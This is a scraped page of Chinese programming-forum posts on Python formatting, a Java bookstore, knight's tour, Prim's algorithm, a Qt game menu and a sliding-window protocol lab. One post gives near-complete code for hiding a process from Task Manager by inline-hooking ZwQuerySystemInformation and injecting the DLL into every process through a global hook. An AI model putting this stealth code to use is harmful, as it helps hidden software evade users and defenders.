    '%s plus %s equals %s' % (1,2,2)Out[29]: '1 plus 2 equals 2'
    2、
    'Price of eggs: $%d' % 42Out[30]: 'Price of eggs: $42'
    3、
    单独使用时取余5%3:
    5%3Out[28]: 2/4
    4、
    LOTTERY_PRE = "LXG_LOT_"LOTTERY_ITEM = LOTTERY_PRE + '%s_ITEM'new_version = "20181007220245756"new_lobbery_item = LOTTERY_ITEM % new_versionprint(new_lobbery_item)输出 LXG_LOT_20181007220245756_ITEM
    1 留言 2020-08-04 19:48:23 奖励16点积分
  • 劫持ZwQuerySystemInformation函数实现进程隐藏 精华

    背景所谓的进程隐藏,通俗地说指的是某个进程正常工作,不受任何影响,但是,我们使用类似任务管理器、Process Explorer 等进程查看软件查看进程,却看不到这个进程。适合秘密在计算机后台进行操作的程序,而不想让人发现。
    本文讲解的就是实现这样的一个进程隐藏程序的原理和过程,当然,进程隐藏的方法有很多,例如 DLL 劫持、DLL注入、代码注入、进程内存替换、HOOK API 等等。我们本文要介绍的就是 HOOK API 函数 ZwQuerySystemInformation 实现的隐藏指定进程。现在,我就把程序的实现过程整理成文档,分享给大家。
    函数介绍ZwQuerySystemInformation 函数
    获取指定的系统信息。
    函数声明
    NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength);
    参数

    SystemInformationClass [in]要检索的系统信息的类型。 该参数可以是SYSTEM_INFORMATION_CLASS枚举类型中的以下值之一。
    SystemInformation[in,out]指向缓冲区的指针,用于接收请求的信息。 该信息的大小和结构取决于SystemInformationClass参数的值,如下表所示。
    SystemInformationLength [in]SystemInformation参数指向的缓冲区的大小(以字节为单位)。
    ReturnLength [out]
    一个可选的指针,指向函数写入所请求信息的实际大小的位置。 如果该大小小于或等于SystemInformationLength参数,则该函数将该信息复制到SystemInformation缓冲区中; 否则返回一个NTSTATUS错误代码,并以ReturnLength返回接收所请求信息所需的缓冲区大小。

    返回值

    返回NTSTATUS成功或错误代码。NTSTATUS错误代码的形式和意义在DDK中提供的Ntstatus.h头文件中列出,并在DDK文档中进行了说明。
    注意

    ZwQuerySystemInformation函数及其返回的结构在操作系统内部,并可能从一个版本的Windows更改为另一个版本。 为了保持应用程序的兼容性,最好使用前面提到的替代功能。如果您使用ZwQuerySystemInformation,请通过运行时动态链接访问该函数。 如果功能已被更改或从操作系统中删除,这将使您的代码有机会正常响应。 但签名变更可能无法检测。此功能没有关联的导入库。 您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。

    实现原理首先,先来讲解下为什么 HOOK ZwQuerySystemInformation 函数就可以实现指定进程隐藏。是因为我们遍历进程通常是调用系统 WIN32 API 函数 EnumProcess 、CreateToolhelp32Snapshot 等函数来实现,这些 WIN32 API 它们内部最终是通过调用 ZwQuerySystemInformation 这个函数实现的获取进程列表信息。所以,我们只要 HOOK ZwQuerySystemInformation 函数,对它获取的进程列表信息进行修改,把有我们要隐藏的进程信息从中去掉,那么 ZwQuerySystemInformation 就返回了我们修改后的信息,其它程序获取这个被修的信息后,自然获取不到我们隐藏的进程,这样,指定进程就被隐藏起来了。
    其中,我们将HOOK ZwQuerySystemInformation 函数的代码部分写在 DLL 工程中,原因是我们要实现的是隐藏指定进程,而不是单单在自己的进程内隐藏指定进程。写成 DLL 文件,可以方便我们将 DLL 文件注入到其它进程的空间,从而 HOOK 其它进程空间中的 ZwQuerySystemInformation 函数,这样,就实现了在其它进程空间中也看不到指定进程了。
    我们选取 DLL 注入的方法是设置全局钩子,这样就可以快速简单地将指定 DLL 注入到所有的进程空间里了。
    其中,HOOK API 使用的是自己写的 Inline Hook,即在 32 位程序下修改函数入口前 5 个字节,跳转到我们的新的替代函数;对于 64 位程序,修改函数入口前 12 字节,跳转到我们的新的替代函数。
    编码实现HOOK ZwQuerySystemInformationvoid HookApi(){ // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return; } // 32 位下修改前 5 字节, 64 位下修改前 12 字节#ifndef _WIN64 // jmp New_ZwQuerySystemInformation // 机器码位:e9 _dwOffset(跳转偏移) // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值 // addr2 --> 跳转地址的值,即_dwNewAddress的值 // 跳转偏移 _dwOffset = addr2 - addr1 BYTE pData[5] = { 0xe9, 0, 0, 0, 0}; DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset)); // 保存前 5 字节数据 ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));#else // mov rax,0x1122334455667788 // jmp rax // 机器码是: // 48 b8 8877665544332211 // ff e0 BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset)); // 保存前 12 字节数据 ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); // 修改 ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); // 还原页面保护属性 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}
    UNHOOK ZwQuerySystemInformationvoid UnhookApi(){ // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return; } // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 32 位下还原前 5 字节, 64 位下还原前 12 字节#ifndef _WIN64 // 还原 ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));#else // 还原 ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));#endif // 还原页面保护属性 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}
    New_ZwQuerySystemInformation 函数NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ){ NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL; // 要隐藏的进程PID DWORD dwHideProcessId = 1224; // UNHOOK API UnhookApi(); // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return status; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return status; } // 调用原函数 ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { // 判断是否是要隐藏的进程PID if (dwHideProcessId == (DWORD)pCur->UniqueProcessId) { if (0 == pCur->NextEntryOffset) { pPrev->NextEntryOffset = 0; } else { pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset; } } else { pPrev = pCur; } if (0 == pCur->NextEntryOffset) { break; } pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset); } } // HOOK API HookApi(); return status;}
    设置全局消息钩子注入DLLint _tmain(int argc, _TCHAR* argv[]){ // 加载DLL并获取句柄 HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll"); if (NULL == hDll) { printf("%s error[%d]\n", "LoadLibrary", ::GetLastError()); } printf("Load Library OK.\n"); // 设置全局钩子 g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0); if (NULL == g_hHook) { printf("%s error[%d]\n", "SetWindowsHookEx", ::GetLastError()); } printf("Set Windows Hook OK.\n"); system("pause"); // 卸载全局钩子 if (FALSE == ::UnhookWindowsHookEx(g_hHook)) { printf("%s error[%d]\n", "UnhookWindowsHookE", ::GetLastError()); } printf("Unhook Windows Hook OK.\n"); // 卸载DLL ::FreeLibrary(hDll); system("pause"); return 0;}
    程序测试我们运行将要隐藏进程的程序 520.exe,然后打开任务管理器,可以查看到 520.exe 是处于可见状态。接着,以管理员权限运行我们的程序,设置全局消息钩子,将 DLL 注入到所有的进程中,DLL 便在 DllMain 入口点函数处 HOOK ZwQuerySystemInformation 函数,成功隐藏 520.exe 的进程。所以,测试成功。
    总结要注意 Inline Hook API 的时候,在 32 位系统和 64 位系统下的差别。
    在 32 位使用 jmp _NewAddress 跳转语句,机器码是 5 字节,而且要注意理解它的跳转偏移的计算方式:
    跳转偏移 = 跳转地址 - 下一跳指令的地址
    在 64 位使用的是的汇编指令是:
    mov rax, _NewAddressjmp rax
    机器码是 12 字节。
    在Windows7 32位旗舰版以及Windows10 64位专业版上进行测试,均能成功隐藏指定进程,程序在32位和64位全平台系统均能正常工作。要注意一点就是,建议以管理员身份运行程序,否则我们的全局钩子不能成功注入到一些高权限的进程中。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2018-12-31 16:07:28 奖励25点积分
  • 基于Java的图书购物商城

    一、功能
    登录用户
    管理员登录和用户登录两种
    注册功能
    有购买书籍功能
    查询功能:按书名查询,按ID名查询
    删除书籍
    显示用户的信息

    二、注册和登录模块的设计与实现2.1 注册和登录界面2.1.1 注册用户在进行注册时,需要通过该界面输入帐号、密码和用户身份,然后点击“点我注册”按钮进行注册,注册界面设计如图1.1所示。

    2.1.2 登录用户在进行系统登录时,需要通过该界面输入帐号、密码和用户身份,然后点击“登录”按钮进行登录,登录界面设计如图1.2所示。

    2.2 该模块涉及到的文件和类通过详细的分析,该模块涉及到的文件和类在工程中的组织如图所示。
    2.2.1 持久层用文件users.txt持久存储用户的信息,文件中以u00001:普通用户:pw00001:张三:0:上海 的形式存储,其中u00001为id,普通用户为用户类型,pw00001为用户密码,张三为用户真实姓名,0代表用户性别为男,上海为用户所在城市。所有用户的信息均以这样的格式存储,且每个用户的信息在文件中占一行。
    为了方便,在类DatabaseConfig中使用静态常量描述了文件users.txt的详细路径。
    2.2.3 文件操作层(Dao层)该层涉及到接口IUserDao和实现该接口的类UserDaoImpl,主要用来完成对文件user.txt的读和写操作。
    public Map<String, User> getUsers();
    该方法从文件中读出用户的信息并使用Map集合返回结果集。Map中key为用户id, value为使用User封装的用户信息。
    public void addUser(User u)
    该方法是将封装到User中的用户信息写入文件。
    类UserDaoImpl的核心代码如下:
    public class UserDaoImpl implements IUserDao{ @Override public void addUser(User u) { //使用缓冲流,一个用户信息占一行 File f = new File(DataBaseConfig.USER_FILE_PATH); FileWriter fw = null; BufferedWriter bw = null; try { fw= new FileWriter(f, true); bw = new BufferedWriter(fw); bw.write(u.toString()); bw.newLine(); } catch (IOException e) { … } finally { … } } @Override public Map<String, User> getUsers() { Map<String, User> users = new HashMap<String, User>(); File f = new File(DataBaseConfig.USER_FILE_PATH); FileReader fr = null; BufferedReader br = null; try { fr = new FileReader(f); br = new BufferedReader(fr); String s; String[] userInfo; User u; while((s=br.readLine()) != null){ userInfo = s.split(":"); u = new User(userInfo); users.put(userInfo[0], u); } } catch (FileNotFoundException e) { … } catch (IOException e) { … } finally { … } return users; }}
    详细请查看源代码
    个人博客(后续有时间的话放在博客上面)
    2 留言 2019-12-18 20:27:03 奖励10点积分
  • 图的深度优先搜索(DFS)的应用--马踏棋盘问题(骑士周游问题)

    将马随机放在国际象棋的 8X8 棋盘Board[0~7] [0~7]的某个方格中,马按走棋规则(马走日字)进行移动。要求每个方格只进入一次,走遍棋盘上全部64个方格。
    马踏棋盘游戏代码实现
    马踏棋盘问题(骑士周游问题)实际上是图的深度优先搜索(DFS)的应用。
    如果使用回溯(就是深度优先搜索)来解决,假如马儿踏了53个点,走到了第53个,坐标(1,0) ,发现已经走到尽头,没办法,那就只能回退了,查看其他的路径,就在棋盘上不停的回退…
    分析第一种方式的问题,并使用贪心算法(greedyalgorithm)进行优化。解决马踏棋盘问题。
    使用前面的游戏来验证算法是否正确。
    解决步骤和思路: https://blog.csdn.net/zhang0558/article/details/50497298

    创建棋盘chessBoard,是一个二维数组
    将当前位置设置为已经访问,然后根据当前位置,计算马儿还能走哪些位置,并放入到一个集合中(ArrayList),最多有8个位置,每走-步,就使用step+1
    遍历ArrayList中存放的所有位置,看看哪个可以走通,如果走通,就继续,走;不通,就回溯
    判断马儿是否完成了任务,使用step 和应该走的步数比较,如果没有达到数量,则表示没有完成任务,将整个棋盘置0

    注意:马儿不同的走法(策略),会得到不同的结果,效率也会有影响(优化)
    public class HorsechessBoard { private static int X; // 表示列 private static int Y; // 表示行 private static boolean visited[]; // 是否被访问 private static boolean finished; // 是否全部完成 // 进行行走 public static void traversal(int[][] arr, int row, int col, int step) { arr[row][col] = step; visited[row * X + col] = true;// 初始位置标记为已访问 // 获取下一步集合 ArrayList<Point> ps = next(new Point(col, row)); sort(ps); //然后在traversal方法当中的ps进行排序: // 遍历集合 while (!ps.isEmpty()) { Point p = ps.remove(0); // 判断该点是否访问过 if (!visited[p.y * X + p.x]) { // 没有访问过 traversal(arr, p.y, p.x, step+1); } } if (step < X * Y && !finished) { arr[row][col] = 0; visited[row * X + col] = false; } else { finished = true; } } public static void sort(ArrayList<Point> ps) { ps.sort(new Comparator<Point>() { @Override public int compare(Point o1, Point o2) { int count1 = next(o1).size(); int count2 = next(o2).size(); if (count1 < count2) { return -1; } else if (count1 == count2) { return 0; } else { return 1; } } }); } // 根据当前位置计算还有哪些位置可以走 static int weizhi[][] = {{-2,1},{-2,-1},{-1,2},{-1,-2},{1,2},{1,-2},{2,1},{2,-1}}; public static ArrayList<Point> next(Point cutPoint) { ArrayList<Point> ps = new ArrayList<Point>(); Point p1 = new Point(); // 判断是否可以走下一个位置 if ((p1.x = cutPoint.x - 2) >= 0 && (p1.y = cutPoint.y - 1) >= 0) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x - 1) >= 0 && (p1.y = cutPoint.y - 2) >= 0) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x + 1) < X && (p1.y = cutPoint.y - 2) >= 0) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x + 2) < X && (p1.y = cutPoint.y - 1) >= 0) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x + 2) < X && (p1.y = cutPoint.y + 1) < Y) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x + 1) < X && (p1.y = cutPoint.y + 2) < Y) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x - 1) >= 0 && (p1.y = cutPoint.y + 2) < Y) { ps.add(new Point(p1)); } if ((p1.x = cutPoint.x - 2) >= 0 && (p1.y = cutPoint.y + 1) < Y) { ps.add(new Point(p1)); } return ps; } public static void main(String[] args) { X = 9;//chg to 6 Y = 9; int row = 5; int col = 5; int[][] arr = new int[X][Y]; visited = new boolean[X * Y]; System.out.println("开始"); long start = System.currentTimeMillis(); traversal(arr, row-1, col-1,1); long end = System.currentTimeMillis(); System.out.println("耗时 = "+ (end-start)+" 毫秒"); for(int[] rows:arr) { for(int step :rows) { System.out.print(step+"\t"); } System.out.println(); } System.out.println("结束"); }}
    0 留言 2020-08-24 15:51:20 奖励30点积分
  • 图结构中寻找最小生成树的一种算法--Prim算法

    普里姆算法是图结构中寻找最小生成树的一种算法。所谓生成树,即为连通图的极小连通子图,其包含了图中的n个顶点,和n-1条边,这n个顶点和n-1条边所构成的树即为生成树。当边上带有权值时,使生成树中的总权值最小的生成树称为最小代价生成树,简称最小生成树。最小生成树不唯一,且需要满足一下准则:

    只能使用图中的边构造最小生成树
    具有n个顶点和n-1条边
    每个顶点仅能连接一次,即不能构成回路
    获得图的最小生成树,即在保证图中所有顶点不重复连通的情况下,使得总权值最小

    如何使总权值最小?
    通过构造邻接矩阵找最小总权值,如图1右边所示。邻接矩阵中保存了顶点之间的连通关系和权值大小,我们可以构造最小代价数组lowcost[n]来记录图中与各顶点相连的最小权值(其中n为顶点数)。再构造顶点编号数组adjvex[],用于记录lowcost中权值所对应的顶点编号。初始化lowcost数组为邻接矩阵中第一行,即lowcost[] = {0,10,#,#,#,11,#,#,#} (这里用“#”表示图中无穷)。除去起始顶点v0外,其余为n-1条边的权值。我们将v1行的权值与lowcost数组中保存的权值对比,如果对应的权值比lowcost中的小,则替换之,这里比较后得到的lowcost[] = {0,10,18,#,#,11,16,#,12}。依次遍历邻接矩阵中剩余的v2到v8,即可得到总权值最小的lowcost数组。
    但是,这样虽然保证了总权值最小,但是不能保证所有节点是连通的。
    由lowcost数组可以知道,权值为“#”是无效权值,即与当前顶点不相连的顶点,权值为0表示顶点本身或者说是已经匹配到的相连的最小权值点。在每次重建lowcost数组之后,遍历数组中的权值,将权值最小的项置为0,表示对应顶点已经匹配到了权值最小的边。并记录该顶点的编号为minId,下次更新lowcost数组从minId开始搜寻,以此类推。比如,初始化lowcost后将权值最小的顶点,即v1置为0,得到lowcost[] = {0,0,#,#,#,11,#,#,#},minId = 1。之后,从v1开始替换lowcost中的权值。当lowcost中所有的权值都置为0时,即所有顶点都连通且保证总权值最小。
    public class Prim { public static void main(String[] args) { int min = Integer.MAX_VALUE; //定义min变量保存每一个lowcost数组中的最小值,默认为无效权值 int minId = 0;//定义minId变量保存最小权值的顶点编号 int sum = 0;//定义sum变量记录总权值 String[] Vertex = new String[] { "A", "B", "C", "D", "E", "F" }; //顶点集 int[][] Matrix = new int[6][]; //邻接矩阵 //邻接矩阵初始化 Matrix[0] = new int[] { 0, 7, 5, 1, min, min }; Matrix[1] = new int[] { 7, 0, min, 6, 3, min }; Matrix[2] = new int[] { 5, min, 0, 7, min, 2 }; Matrix[3] = new int[] { 1, 6, 7, 0, 6, 4 }; Matrix[4] = new int[] { min, 3, min, 6, 0, 7 }; Matrix[5] = new int[] { min, min, 2, 4, 7, 0 }; int vertexSize = Vertex.length;//顶点个数 int lowcost[] = new int[vertexSize];//定义最小代价矩阵 int adjvex[] = new int[vertexSize];//定义数组保存最小权值的顶点编号 //lowcost矩阵初始化 for(int i=0;i<vertexSize;i++) { lowcost[i] = Matrix[0][i]; } for(int i=1;i<vertexSize;i++) { min = Integer.MAX_VALUE; minId = 0; for(int j=1;j<vertexSize;j++) { if(lowcost[j]!=0&&lowcost[j]<min) {//找到lowcost中的最小有效权值 min = lowcost[j];//记录最小值 minId = j;//记录最小权值的顶点编号 } } lowcost[minId] = 0; sum += min; System.out.println("连接顶点:" +Vertex[adjvex[minId]]+" 权值:" +min); for(int j=1;j<vertexSize;j++) { if(lowcost[j]!=0&&Matrix[minId][j]<lowcost[j]) {//在邻接矩阵中以编号为minId的顶点作为下一个顶点对lowcost中进行最小值替换 lowcost[j] = Matrix[minId][j]; adjvex[j] = minId; } } } System.out.println("总权值为:" + sum); }}
    0 留言 2020-08-24 15:51:30 奖励30点积分
  • QT之植物大战僵尸进入页面设计

    首页面
    首先呢,首页面是由一个工具栏,以及一个冒险模式按钮,背景图,加背景音乐组成。
    工具栏就直接使用了QT的ui界面布局,拖拉形成 ,其中只有一个退出按钮。
    退出按钮的信号槽:
    connect(ui->actiontuichu,&QAction::triggered,[=](){this->close();});
    冒险模式按钮:
    QString Img=":/graphics/Screen/Adventure_0.png"; QPushButton * StartBtn = new QPushButton(this); StartBtn->move(this->width()*0.55,this->height()*0.2); QPixmap pix; pix.load(Img); StartBtn->setFixedSize( pix.width(),pix.height()); //设置图片固定大小 StartBtn->setStyleSheet("QPushButton{border:0px;}"); //设置不规则图片样式 StartBtn->setIcon(pix); //设置图标 StartBtn->setIconSize(QSize(pix.width(),pix.height())); //设置图标大小
    特点是要求按钮是以图片的形式,并且通过使用切换原图给它添加的点击闪烁特效让它更生动。
    背景图:
    void MainScene::paintEvent(QPaintEvent *) { QPainter painter(this); QPixmap pix; pix.load(":/graphics/Screen/MainMenu.png"); painter.drawPixmap(0,0,this->width(),this->height(),pix); }
    特点是使用绘画事件。
    背景音乐
    方法一:
    QMediaPlayer *startplayer = new QMediaPlayer; connect(startplayer, SIGNAL(positionChanged(qint64)), this, SLOT(positionChanged(qint64))); startplayer->setMedia(QUrl::fromLocalFile("D:/Qt/Project/Piants vs. Zombies/PiantsVSZombies/graphics/Screen/Faster.wav")); startplayer->setVolume(100); //0~100音量范围,默认是100 startplayer->play();
    方法二:
    QSound * startSound = new QSound( ":/graphics/audio/bleep.wav",this); QSound::play(":/graphics/Screen/Faster.wav"); startSound->setLoops(-1); startSound->play();
    我原本使用方法二,但是方法二只能用wav文件,且适合短暂的音效(好吧,我试了使用短暂的音效 也不行 不知道为什么 看着网上人家的视频可以。。。)
    所以我使用了方法一,但是还是遇到一个问题,相对路径,播放不了,绝对路径才行,这样一来就很难受,如果我要打包这游戏给别人玩,别人安装路径和我设置不一样就听不到音效了,这也是我还需要克服的一个难点。
    首页面
    这个时候我们需要实现“点击冒险模式进入下一页面”的功能,显然我们需要connect点击按钮信号以及切换页面的槽函数。
    首先是要新建一个地图选择页面:

    然后在mainscene.h里面#include”chooselevelscene.h”:

    再会回到 mainscene.cpp文件里 connect:

    这样你就可以实现切换页面啦。
    选择地图页面
    然后就是对选择地图页面进行布局,这个我没有添加ui界面,所以使用纯代码敲出那些控件。具体如下:

    然后就是建立了6个按钮 分别进入到6个同的地图(目前我只做了一个地图,所以有5个会弹出以下这个)

    唯一有用的按钮是这个:
    playScene =new PlayScene; QPushButton * Btn1 = new QPushButton("早晨草原",this); Btn1->resize( 212,40); //重置按钮大小 Btn1->move(180,224); Btn1->setStyleSheet("QPushButton{font-family:'楷体';font-size:28px;}\ QPushButton:hover{background-color:rgb(50, 170, 200)}"); connect(Btn1,&QPushButton::clicked,[=](){ //进入第一个地图 playScene->setGeometry(this->geometry()); this->hide(); playScene->show(); });
    也是切页,和上述具体操作差不多。
    下一期就要讲如何实现植物大战僵尸的游戏主体部分了。
    0 留言 2020-08-24 14:35:19 奖励30点积分
  • 基于C语言实现的滑动窗口协议

    一、实验内容利用所学数据链路层原理,自己设计一个滑动窗口协议,在仿真环境下编程实现有噪音信道环境下两站点之间无差错双工通信。信道模型为8000bps全双工卫星信道,信道传播时延270毫秒,信道误码率为10-5,信道提供字节流传输服务,网络层分组长度固定为256字节。
    二、实验目的通过该实验,进一步巩固和深刻理解数据链路层误码检测的CRC校验技术,以及滑动窗口的工作机理。滑动窗口机制的两个主要目标:(1) 实现有噪音信道环境下的无差错传输; (2)充分利用传输信道的带宽。在程序能够稳定运行并成功实现第一个目标之后,运行程序并检查在信道没有误码和存在误码两种情况下的信道利用率。为实现第二个目标,提高滑动窗口协议信道利用率,需要根据信道实际情况合理地为协议配置工作参数,包括滑动窗口的大小和重传定时器时限以及ACK搭载定时器的时限。这些参数的设计,需要充分理解滑动窗口协议的工作原理并利用所学的理论知识,经过认真的推算,计算出最优取值,并通过程序的运行进行验证。
    通过该实验提高同学的编程能力和实践动手能力,体验协议软件在设计上各种问题和调试难度,设计在运行期可跟踪分析协议工作过程的协议软件,巩固和深刻理解理论知识并利用这些知识对系统进行优化,对实际系统中的协议分层和协议软件的设计与实现有基本的认识。
    三、实验环境
    win10平台 版本1909 (OS内部版本 18363.900)
    Visual Studio Code
    Visual Studio 2019

    四、软件设计4.1 数据结构结构体定义
    typedef unsigned char seq_nr;typedef unsigned char frame_kind;typedef int event_type; //protocol中定义5个event/*#define NETWORK_LAYER_READY 0 //网络层有待 发送的分组。此事件发生后才 可以调用 get_packet()得到网络层待发送的下一个 分组。#define PHYSICAL_LAYER_READY 1 //物理层发送队列的长度低于50字节#define FRAME_RECEIVED 2 //物理层收到了一整帧#define DATA_TIMEOUT 3 //定时器超时,参数arg中返回发生超时的定时器的编号#define ACK_TIMEOUT 4 //所设置的搭载ACK定时器超时*/typedef struct FRAME{ frame_kind kind; //数据种类 seq_nr ack; //ACK号 seq_nr seq; //数据序号 unsigned char data[PKT_LEN]; //数据 PKT_LEN = 256 unsigned int padding;} frame;typedef struct PACKET{ unsigned char data[PKT_LEN]; //数据} packet;
    帧结构
    DATA Frame +=========+========+========+===============+========+ | KIND(1) | SEQ(1) | ACK(1) | DATA(240~256) | CRC(4) | +=========+========+========+===============+========+ ACK Frame +=========+========+========+ | KIND(1) | ACK(1) | CRC(4) | +=========+========+========+ NAK Frame +=========+========+========+ | KIND(1) | ACK(1) | CRC(4) | +=========+========+========+
    宏定义
    #define DATA_RESEND_TIME 2890 //数据帧超时重传定时时间#define ACK_TIMER 1200 //ack帧定时时间#define MAX_SEQ 19 //最大序号#define NR_BUFS ((MAX_SEQ + 1) / 2) //((MAX_SEQ + 1) / 2)// #define inc(k) ((k) = ((k) + 1) % (MAX_SEQ + 1)) //自加
    全局变量
    seq_nr frame_expected; //接受窗口下界seq_nr too_far; //接受窗口上界 + 1seq_nr next_frame_to_send; //发送窗口上界 + 1seq_nr ack_expected; //发送窗口下界seq_nr nbuffered; //发送缓存数量seq_nr oldest_frame = MAX_SEQ + 1;// static seq_nr buffer[PKT_LEN];packet out_buf[NR_BUFS]; //发送缓存packet in_buf[NR_BUFS]; //接受缓存static int phl_ready = 0; //物理层就绪static int no_nak = 1; //没有nak被发送int arrived[NR_BUFS];
    主函数变量
    int arg; //接受wait_for_event返回的参数event_type event; //event_type在protocol.h中定义frame r; //帧结构int len; //保存从物理层收到的数据长度
    4.2 模块结构static void put_frame(unsigned char *frame, int len)//功能: 为frame计算crc,并且将加上4位crc的frame(长度为len + 4 )送到物理层//参数frame 帧起始字节地址//参数len 帧长度static int between(seq_nr a, seq_nr b, seq_nr c)//功能:判断b是否在ac窗口内//参数a 滑动窗口下界//参数b 被判断的序号//参数c 滑动窗口上界static void send_data_frame(frame_kind fk, seq_nr frame_nr, seq_nr frame_expected, packet buffer[])//功能:将buffer中编号为frame_nr的fk类型的数据包发送出去,并且捎带ack。//参数fk 帧种类 有 FRAME_DATA FRAME_ACK FRAME_NAK//参数frame_nr 数据包序号//参数frame_expected 捎带ACK//参数 buffer[] 缓存
    调用关系:箭头→ A → B 表示A模块调用B模块

    4.3 算法流程图
    五、实验结果分析描述你所实现的协议软件是否实现了有误码信道环境中无差错传输功能。
    在有误码信道环境中,若收到错帧有以下措施保证无差错传输功能。

    出错时,若当时未发送该帧的NAK,则发送NAK给对方,要求对方重传,若已经发送NAK,则等待计时器超时后重传
    收到帧序号位于接受窗口的帧时,将该帧放入in_buf中缓存,延迟递交给网络层,即使前面出错了,也能保证在缓冲区内的数据不丢失
    ACK采用捎带确认的方式,如果当前没有数据进行稍待确认,则ACK定时器超时,ACK帧单独重发

    程序的健壮性如何,能否可靠地长时间运行。
    程序的健壮性十分不错。我在-f选项下运行了接近3.5ws(9.7h)没有崩溃,并且效率与之前测得数据匹配,94.38% 94.20%,仅有百分之零点几的下降,说明不仅其健壮性,可靠性。因为时间原因没有继续将其测试下去,但我相信该程序能继续运行下去。

    协议参数的选取:滑动窗口的大小,重传定时器的时限,ACK搭载定时器的时限,这些参数是怎样确定的?根据信道特性数据,分组层分组的大小,以及你的滑动窗口机制,给出定量分析,详细列举出选择这些参数值的具体原因。

    滑动窗口的大小
    链路利用率 <= Ws / (1 + 2Td*C/L)其中B = 8000bps / 263B = 3.802个/s,D = 270ms,因此算出W的最小值约为3.05,因此滑动窗口的大小应该大于3.05,将窗口开大会浪费缓冲区,并且有可能导致物理层拥塞,因此我不打算将缓冲区开成最大。观察log文件,发现数据链路层大概每收8帧发给网络层一次,因此我认为缓存的极限区域为8,但为了留出余量,经过测试发现MAX_SEQ = 19是一个比较好的参数。因此将缓存设置为10,MAX_SEQ = 19, NR_BUFS = 10。
    ACK定时器ACK_RESEN_TIME的确定从理论上看,数据帧263Byte,ACK帧6Byte,单向传输延迟为270ms,通过观察log文件,发现每8帧会传送给网络层一次,因此为了刚好在接收方接受完这八帧时,下8帧也到达,可以算出ACK_RESEND_TIMER,先算出8帧从发送到接受方的时间 263 * 8 + 270 + 7(间隔时间) = 2381ms,因需要在八帧处理完前ack到达,因此ACK_RESEND_TIMER要小于该值,因此我取平均数1200
